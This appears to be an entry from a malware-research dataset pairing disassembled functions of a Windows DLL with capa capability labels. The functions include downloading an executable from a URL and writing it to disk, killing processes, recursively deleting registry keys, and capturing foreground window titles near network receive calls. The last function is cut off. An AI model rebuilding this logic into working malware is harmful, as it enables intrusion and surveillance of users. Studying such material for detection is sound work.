joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000e5e0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
push rsi
push rdi
push r14
sub rsp, 0x270
mov rax, qword [0x180087020]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov r14, r8
mov rsi, rdx
mov rdi, qword [rsp + 0x2b0]
mov dword [rsp + 0x30], 1
xor ebx, ebx
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x50]
call fcn.18003b0b0
nop
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rdx, rsi
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x18000e65b
mov ebx, 0xffffffff
jmp 0x18000e6cd
mov eax, dword [rsp + 0x30]
sub eax, 1
je 0x18000e669
sub eax, 1
jne 0x18000e6cd
mov dword [rsp + 0x38], 0x208
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
xor r8d, r8d
mov rdx, r14
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18000e6cd
lea rdx, [0x180075e60]
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x18000e6ba
lea ebx, [rax - 1]
jmp 0x18000e6cd
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, 1
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.180034f80
mov rbx, qword [rsp + 0x290]
add rsp, 0x270
pop r14
pop rdi
pop rsi
ret

Function at 0x18000eb40
Capabilities:
Get system information on windows

Disassembly:
sub rsp, 0x58
xorps xmm0, xmm0
lea rcx, [0x180075e40]
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [0x180077e20]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rsp + 0x20]
test rax, rax
je 0x18000eb81
call rax
jmp 0x18000eb87
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [rsp + 0x20]
mov ecx, 6
cmp cx, ax
je 0x18000eba7
mov ecx, 9
cmp cx, ax
je 0x18000eba7
xor eax, eax
add rsp, 0x58
ret
mov eax, 1
add rsp, 0x58
ret
Function at 0x18000ebc0
Capabilities:
Get system information on windows
Query or enumerate registry value

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x80
mov rbx, rcx
mov rbp, rdx
lea rcx, [0x180077e90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdi, rax
test rax, rax
je 0x18000eddf
lea rdx, str.RtlGetNtVersionNumbers
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000edd6
lea r8, [rsp + 0xb0]
mov qword [rsp + 0xa0], rsi
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0x30]
call rax
movzx eax, word [rsp + 0xb0]
lea r8, str._d._d._d
mov r9d, dword [rsp + 0x30]
mov edx, 0x1e
mov dword [rsp + 0x28], eax
mov rcx, rbx
mov dword [rsp + 0xb0], eax
mov eax, dword [rsp + 0xb8]
mov dword [rsp + 0x20], eax
call fcn.180003740
lea rcx, str.winbrand.dll
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x18000ecd0
lea rdx, str.BrandingFormatString
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000ec91
lea rcx, str._WINDOWS_LONG_
call rax
mov rbx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
test rbx, rbx
je 0x18000ecd0
mov rcx, 0xffffffffffffffff
inc rcx
cmp word [rbx + rcx*2], 0
jne 0x18000eca6
cmp rcx, 2
jbe 0x18000ecd0
mov r9d, gethostbyname
mov r8, rbx
mov rcx, rbp
lea edx, [r9 + 1]
call fcn.180043bc8
jmp 0x18000edce
mov ecx, 0x194
mov dword [rsp + 0x34], 0xca
call fcn.1800355f8
xorps xmm0, xmm0
mov dword [rsp + 0x38], 1
lea rcx, [0x180075e40]
mov rbx, rax
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x58], xmm0
movups xmmword [rsp + 0x68], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, [0x180077e20]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rsp + 0x48]
test rax, rax
je 0x18000ed2a
call rax
jmp 0x18000ed30
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, word [rsp + 0x48]
mov ecx, 6
cmp cx, ax
je 0x18000ed4f
mov ecx, 9
mov r9d, 0x20019
cmp cx, ax
jne 0x18000ed55
mov r9d, 0x20119
lea rax, [rsp + 0x40]
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x40]
lea r9, [rsp + 0x38]
mov esi, eax
lea rdx, [0x180077f40]
lea rax, [rsp + 0x34]
xor r8d, r8d
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18000edbb
test esi, esi
jne 0x18000edbb
lea r9d, [rax + 0x31]
mov r8, rbx
lea edx, [rax + 0x32]
mov rcx, rbp
call fcn.180043bc8
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rbx
call fcn.180035588
mov rsi, qword [rsp + 0xa0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
add rsp, 0x80
pop rdi
pop rbp
pop rbx
ret
Function at 0x18000edf0
Capabilities:
Accept command line arguments
Create process on windows
Terminate process

Disassembly:
push rbx
sub rsp, 0x2f0
mov rax, qword [0x180087020]
xor rax, rsp
mov qword [rsp + 0x2e0], rax
mov r8d, 0x1fe
lea rdx, [rsp + 0xe0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rcx, [rsp + 0x70]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0xe0]
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov rdx, rbx
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x18000ef60
Capabilities:
Write file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x860
mov rax, qword [0x180087020]
xor rax, rsp
mov qword [rsp + 0x850], rax
mov rbp, rcx
xor r12d, r12d
mov esi, 1
mov dword [rsp + 0x40], r12d
lea rcx, str.wininet.dll
mov dword [rsp + 0x44], r12d
movzx r14d, sil
mov rbx, rdx
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.InternetOpenW
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor r8d, r8d
lea rcx, str.MSIE_6.0
xor edx, edx
call rax
mov r15, rax
test rax, rax
je 0x18000f011
lea rdx, str.InternetOpenUrlW
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r9d, r9d
mov qword [rsp + 0x28], r12
xor r8d, r8d
mov dword [rsp + 0x20], 0x80000000
mov rdx, rbp
mov rcx, r15
call rax
mov rbp, rax
test rax, rax
jne 0x18000f026
test rdi, rdi
je 0x18000f01f
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
jmp 0x18000f12a
mov qword [rsp + 0x30], r12
xor r9d, r9d
mov dword [rsp + 0x28], r12d
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18000f0f0
mov qword [rsp + 0x8b0], r13
mov r13d, 0x5a4d
nop word [rax + rax]
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x800
call fcn.18003b0b0
lea rdx, str.InternetReadFile
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rsp + 0x40]
mov r8d, 0x800
lea rdx, [rsp + 0x50]
mov rcx, rbp
call rax
test esi, esi
je 0x18000f0b3
cmp word [rsp + 0x50], r13w
jne 0x18000f0dc
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x44]
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x20], r12
mov rcx, rbx
mov esi, r12d
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [rsp + 0x40], r12d
ja 0x18000f070
jmp 0x18000f0df
xor r14b, r14b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r13, qword [rsp + 0x8b0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.InternetCloseHandle
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov rcx, rbp
call rbx
mov rcx, r15
call rbx
test rdi, rdi
je 0x18000f126
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
movzx eax, r14b
mov rcx, qword [rsp + 0x850]
xor rcx, rsp
call fcn.180034f80
add rsp, 0x860
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1800231a0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x180023215
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x180023215
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, eax
add rcx, rbx
and edi, 0xf
jbe 0x180023205
nop
cmp rbx, rcx
jae 0x180023215
movzx eax, word [rbx]
lea rbx, [rbx + rax*2]
add rbx, 2
add edi, 0xffffffff
jne 0x1800231f0
cmp rbx, rcx
jae 0x180023215
cmp word [rbx], 0
je 0x180023215
mov rax, rbx
jmp 0x180023217
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x1800243f0
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push rsi
push rdi
sub rsp, 0x288
mov rax, qword [0x180087020]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov rdi, rdx
mov rsi, rcx
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
je 0x180024448
lea rax, [rsp + 0x48]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x180024467
cmp eax, 2
jne 0x18002456c
mov eax, 1
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.180034f80
add rsp, 0x288
pop rdi
pop rsi
ret
mov qword [rsp + 0x2b0], rbx
mov rcx, rdi
mov qword [rsp + 0x280], rbp
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rcx, eax
xor ebp, ebp
cmp word [rdi + rcx*2 - 2], 0x5c
lea rbx, [rdi + rcx*2]
je 0x1800244a0
mov eax, 0x5c
mov word [rbx], ax
add rbx, 2
mov word [rbx], bp
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x40]
mov qword [rsp + 0x30], rbp
lea r8, [rsp + 0x60]
mov qword [rsp + 0x28], rbp
xor edx, edx
mov qword [rsp + 0x20], rbp
mov dword [rsp + 0x40], 0x104
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x180024539
nop dword [rax]
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rdx, rdi
mov rcx, rsi
call fcn.1800243f0
test eax, eax
je 0x180024539
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x40]
mov qword [rsp + 0x30], rbp
lea r8, [rsp + 0x60]
mov qword [rsp + 0x28], rbp
xor edx, edx
mov qword [rsp + 0x20], rbp
mov dword [rsp + 0x40], 0x104
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x1800244e0
mov word [rbx - 2], bp
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov rbp, qword [rsp + 0x280]
mov rbx, qword [rsp + 0x2b0]
test eax, eax
je 0x180024448
xor eax, eax
jmp 0x18002444d
Function at 0x180024900
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push rdi
sub rsp, 0x270
mov rax, qword [0x180087020]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180024952
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x180024959
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1800249c7
mov qword [rsp + 0x280], rbx
lea rdx, str.python_test.exe
lea rcx, [rsp + 0x4c]
call fcn.180043074
test eax, eax
jne 0x1800249a2
mov r8d, dword [rsp + 0x28]
lea ecx, [rax + 1]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1800249a2
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180024961
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x280]
xor eax, eax
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.180034f80
add rsp, 0x270
pop rdi
ret
Function at 0x180026a30
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x50
mov rbp, rcx
movzx r15d, dl
mov ecx, 0x230
call fcn.1800355bc
xor edx, edx
mov r8d, 0x22f
mov rdi, rax
lea rcx, [rax + 1]
call fcn.18003b0b0
lea rcx, [rsp + 0x90]
mov byte [rdi], 0
mov dword [rsp + 0x90], 8
call qword [sym.imp.USER32.dll_GetLastInputInfo]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
sub ecx, dword [rsp + 0x94]
mul ecx
mov eax, 0x88888889
lea rcx, [rdi + 2]
shr edx, 6
mul edx
shr edx, 5
mov r8d, edx
lea rdx, [0x180077ce8]
call qword [sym.imp.USER32.dll_wsprintfW]
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
je 0x180026ad6
lea rdx, [rdi + 0x20]
mov r8d, 0xfa
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
xor ebx, ebx
lea r9, [rsp + 0x40]
mov dword [rsp + 0x38], ebx
lea r8, [rsp + 0x98]
mov dword [rsp + 0x30], ebx
lea rdx, [rsp + 0x90]
mov byte [rsp + 0x28], bl
mov byte [rsp + 0x20], 1
mov dword [rsp + 0x90], ebx
mov dword [rsp + 0x98], ebx
mov dword [rsp + 0x40], ebx
call fcn.180026c50
movsxd r14, dword [rsp + 0x90]
mov rsi, rax
test r14d, r14d
je 0x180026bef
test r15b, r15b
je 0x180026bef
lea r15d, [r14 + 0x230]
movsxd rcx, r15d
call fcn.1800355f8
mov ecx, dword [rsp + 0x98]
mov rbx, rax
mov eax, dword [rsp + 0x40]
mov edx, 4
mov dword [rdi + 0x218], eax
mov rax, rdi
mov dword [rdi + 0x214], ecx
mov rcx, rbx
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x180026b66
movups xmm0, xmmword [rax]
mov r8, r14
mov rdx, rsi
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
lea rcx, [rbx + 0x230]
call fcn.18003a960
cmp dword [rbp + 0x18], 0
jne 0x180026c07
mov r8d, r15d
mov rdx, rbx
jmp 0x180026bfd
cmp dword [rbp + 0x18], ebx
jne 0x180026c07
mov r8d, 0x230
mov rdx, rdi
mov rcx, qword [rbp + 8]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov edx, 0x230
mov rcx, rdi
call fcn.180035588
test rsi, rsi
je 0x180026c21
mov rcx, rsi
call fcn.180035588
test rbx, rbx
je 0x180026c2e
mov rcx, rbx
call fcn.180035588
mov rbx, qword [rsp + 0x80]
add rsp, 0x50
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x1800274e0
Capabilities:
Create process on windows
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0xa10]
sub rsp, 0xb10
mov rax, qword [0x180087020]
xor rax, rsp
mov qword [rbp + 0xa00], rax
mov esi, r8d
lea rcx, [rbp - 0x20]
mov rdi, rdx
mov r8d, 0x208
xor edx, edx
call fcn.18003b0b0
mov edx, 0x2e
mov rcx, rdi
call fcn.18003a7d8
mov rbx, rax
test rax, rax
je 0x180027736
xor edx, edx
lea rcx, [rbp + 0x1f0]
mov r8d, 0x208
call fcn.18003b0b0
mov edx, 0x20
mov rcx, rbx
call fcn.18003a7d8
mov rcx, rbx
test rax, rax
je 0x18002758b
call qword [sym.imp.KERNEL32.dll_lstrlenW]
dec eax
movsxd rcx, eax
test eax, eax
jle 0x1800275a8
cmp word [rbx + rcx*2], 0x20
je 0x180027591
dec eax
dec rcx
test rcx, rcx
jg 0x180027578
jmp 0x1800275a8
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd r9, eax
lea rcx, [rbp + 0x1f0]
mov r8, rbx
mov edx, 0x104
call fcn.180043bc8
lea rax, [rbp - 0x20]
mov qword [rsp + 0x28], rax
lea r8, [rbp + 0x1f0]
mov dword [rsp + 0x20], 1
call fcn.180027760
test eax, eax
je 0x180027736
xor edx, edx
lea rcx, [rbp + 0x610]
mov r8d, 0x3e8
call fcn.18003b0b0
lea r8, [rbp - 0x20]
lea rdx, str._s_shellopencommand
lea rcx, [rbp + 0x610]
call qword [sym.imp.USER32.dll_wsprintfW]
xor edx, edx
lea rcx, [rbp - 0x20]
mov r8d, 0x208
call fcn.18003b0b0
xor edx, edx
lea rcx, [rbp + 0x400]
mov r8d, 0x208
call fcn.18003b0b0
lea rax, [rbp + 0x400]
mov qword [rsp + 0x28], rax
lea r8, [rbp + 0x610]
mov dword [rsp + 0x20], 2
call fcn.180027760
test eax, eax
je 0x180027736
mov r8d, 0x104
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x400]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea rdx, [0x180079000]
lea rcx, [rbp - 0x20]
call fcn.18003a4f0
test rax, rax
jne 0x1800276a7
lea rdx, [0x180079058]
lea rcx, [rbp - 0x20]
call fcn.18003a4f0
test rax, rax
jne 0x1800276a7
lea rdx, [0x180077424]
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rdx, rdi
lea rcx, [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x1800276b3
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
xorps xmm0, xmm0
mov dword [rsp + 0x50], WSAGetLastError
xor eax, eax
xor ecx, ecx
mov dword [rbp - 0x4c], eax
movups xmmword [rsp + 0x54], xmm0
movups xmmword [rsp + 0x64], xmm0
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
test esi, esi
je 0x1800276f2
lea rax, str.WinSta0Default
mov qword [rsp + 0x60], rax
jmp 0x1800276fd
mov dword [rbp - 0x74], 1
mov word [rbp - 0x70], cx
lea rax, [rbp - 0x40]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp - 0x20]
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x20], ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov al, 1
jmp 0x180027738
xor al, al
mov rcx, qword [rbp + 0xa00]
xor rcx, rsp
call fcn.180034f80
lea r11, [rsp + 0xb10]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x180027760
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x490
mov rax, qword [0x180087020]
xor rax, rsp
mov qword [rsp + 0x480], rax
mov rsi, r8
mov rdi, qword [rsp + 0x4c8]
mov qword [rsp + 0x50], 0xffffffff80000000
xor ebx, ebx
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x60]
call fcn.18003b0b0
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x270]
call fcn.18003b0b0
nop
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rdx, rsi
mov rcx, 0xffffffff80000000
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x1800277f3
mov ebx, 0xffffffff
jmp 0x1800279b3
mov eax, dword [rsp + 0x4c0]
sub eax, 1
je 0x180027968
sub eax, 1
je 0x180027968
sub eax, 1
je 0x18002791b
sub eax, 1
je 0x1800278c5
sub eax, 3
jne 0x1800279b3
mov dword [rsp + 0x30], 0x208
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4c0]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1800279b3
lea rbx, [rsp + 0x60]
cmp word [rbx], 0
je 0x1800278b8
mov r9d, 0x208
mov r8, rbx
mov edx, 0x104
lea rcx, [rsp + 0x270]
call fcn.1800431e4
mov r9d, 0x208
lea r8, [0x180077424]
mov edx, 0x104
lea rcx, [rsp + 0x270]
call fcn.1800431e4
xor edx, edx
mov rcx, rbx
call fcn.18003a75c
lea rbx, [rax + 2]
jmp 0x180027868
lea rdx, [rsp + 0x270]
jmp 0x1800279a5
mov dword [rsp + 0x30], 4
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4c0]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1800279b3
mov r8d, dword [rsp + 0x40]
lea rdx, [0x180075e64]
mov rcx, rdi
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x1800279ae
mov dword [rsp + 0x30], 0x208
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x4c0]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1800279b3
mov r8d, dword [rsp + 0x4c0]
lea rdx, str._08X
mov rcx, rdi
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x1800279ae
mov dword [rsp + 0x30], 0x208
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x4c0]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1800279b3
lea rdx, [rsp + 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, 1
mov rcx, 0xffffffff80000000
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rsp + 0x480]
xor rcx, rsp
call fcn.180034f80
lea r11, [rsp + 0x490]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x180027a00
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x30
mov rbx, r8
lea rax, [rsp + 0x40]
mov rdi, rdx
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, str.Network
mov r9d, 2
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x40]
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, [rsp + 0x40]
mov rcx, 0xffffffff80000001
lea rdx, str.Network
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x180027a9d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rsp + 0x40]
mov r9d, 3
add eax, eax
xor r8d, r8d
mov dword [rsp + 0x28], eax
mov rdx, rdi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
Function at 0x18002f570
Capabilities:
Create process on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
push rdi
sub rsp, 0x90
xorps xmm0, xmm0
mov dword [rsp + 0x20], reloc.WS2_32.dll_WSASetLastError
xor eax, eax
mov rbx, rcx
cmp qword [rcx + 0x18], 8
movups xmmword [rsp + 0x24], xmm0
movups xmmword [rsp + 0x34], xmm0
movups xmmword [rsp + 0x44], xmm0
movups xmmword [rsp + 0x54], xmm0
movups xmmword [rsp + 0x64], xmm0
movups xmmword [rsp + 0x74], xmm0
mov qword [r11 - 0x14], rax
mov dword [r11 - 0xc], eax
lea rax, [0x18007a220]
mov qword [r11 - 0x68], rax
mov rax, rcx
jb 0x18002f5cd
mov rax, qword [rcx]
cmp qword [rdx + 0x18], 8
mov qword [rsp + 0x38], rax
jb 0x18002f5dc
mov rdx, qword [rdx]
xor edi, edi
mov qword [rsp + 0x40], rdx
